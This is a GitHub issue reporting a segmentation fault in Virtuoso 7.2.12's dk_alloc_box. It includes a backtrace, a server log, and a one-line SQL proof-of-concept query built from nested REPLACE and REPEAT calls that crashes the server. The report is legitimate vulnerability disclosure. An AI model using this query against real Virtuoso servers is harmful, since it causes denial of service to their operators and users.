Virtuoso 7.2.12 crashes at `dk_alloc_box`.

PoC:
```sql
SELECT REPLACE(REPEAT('a', 100000), 'a', CONCAT(REPEAT('a', 10000)));
```

Backtrace:
```
 #0 0xb7b66d (gpf_notice+0xcd)
 #1 0xb5caae (dk_alloc_box+0x3e)
 #2 0x5ae7fd (bif_replace+0x53d)
 #3 0x6726e1 (ins_call_bif+0x111)
 #4 0x6795bd (code_vec_run_v+0x211d)
 #5 0x6c6b81 (qn_input+0x3b1)
 #6 0x6c6e2a (qn_send_output+0x14a)
 #7 0x71a6a5 (set_ctr_vec_input+0x5e5)
 #8 0x598794 (set_ctr_input+0x34)
 #9 0x6c6bc3 (qn_input+0x3f3)
 #10 0x6d2fe4 (qr_exec+0xb24)
 #11 0x6dd76b (sf_sql_execute+0x100b)
 #12 0x6ddf0e (sf_sql_execute_w+0x17e)
 #13 0x6e4e30 (sf_sql_execute_wrapper+0x40)
 #14 0xb848f6 (future_wrapper+0x226)
 #15 0xb8abb4 (_thread_boot+0x94)
 #16 0x7f0e267ed609 (start_thread+0xd9)
 #17 0x7f0e265bd353 (clone+0x43)
```

Server Log:
```
12:55:08 GPF: Dkbox.c:203 box to allocate is too large
GPF: Dkbox.c:203 box to allocate is too large
fish: '/workspace/binaries/attaching...' terminated by signal SIGSEGV (Address boundary error)
```
Virtuoso 7.2.12 crashes at `dk_alloc_box`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Virtuoso 7.2.12 crashes at `dk_alloc_box`
Issue date:

--- start body ---
Virtuoso 7.2.12 crashes at `dk_alloc_box`.

PoC:
```sql
SELECT REPLACE(REPEAT('a', 100000), 'a', CONCAT(REPEAT('a', 10000)));
```

Backtrace:
```
 #0 0xb7b66d (gpf_notice+0xcd)
 #1 0xb5caae (dk_alloc_box+0x3e)
 #2 0x5ae7fd (bif_replace+0x53d)
 #3 0x6726e1 (ins_call_bif+0x111)
 #4 0x6795bd (code_vec_run_v+0x211d)
 #5 0x6c6b81 (qn_input+0x3b1)
 #6 0x6c6e2a (qn_send_output+0x14a)
 #7 0x71a6a5 (set_ctr_vec_input+0x5e5)
 #8 0x598794 (set_ctr_input+0x34)
 #9 0x6c6bc3 (qn_input+0x3f3)
 #10 0x6d2fe4 (qr_exec+0xb24)
 #11 0x6dd76b (sf_sql_execute+0x100b)
 #12 0x6ddf0e (sf_sql_execute_w+0x17e)
 #13 0x6e4e30 (sf_sql_execute_wrapper+0x40)
 #14 0xb848f6 (future_wrapper+0x226)
 #15 0xb8abb4 (_thread_boot+0x94)
 #16 0x7f0e267ed609 (start_thread+0xd9)
 #17 0x7f0e265bd353 (clone+0x43)
```

Server Log:
```
12:55:08 GPF: Dkbox.c:203 box to allocate is too large
GPF: Dkbox.c:203 box to allocate is too large
fish: '/workspace/binaries/attaching...' terminated by signal SIGSEGV (Address boundary error)
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 occurs when executing a SQL query that attempts to allocate an excessively large memory box in the `dk_alloc_box` function. This can lead to a Denial of Service (DoS) as the server crashes when handling such queries.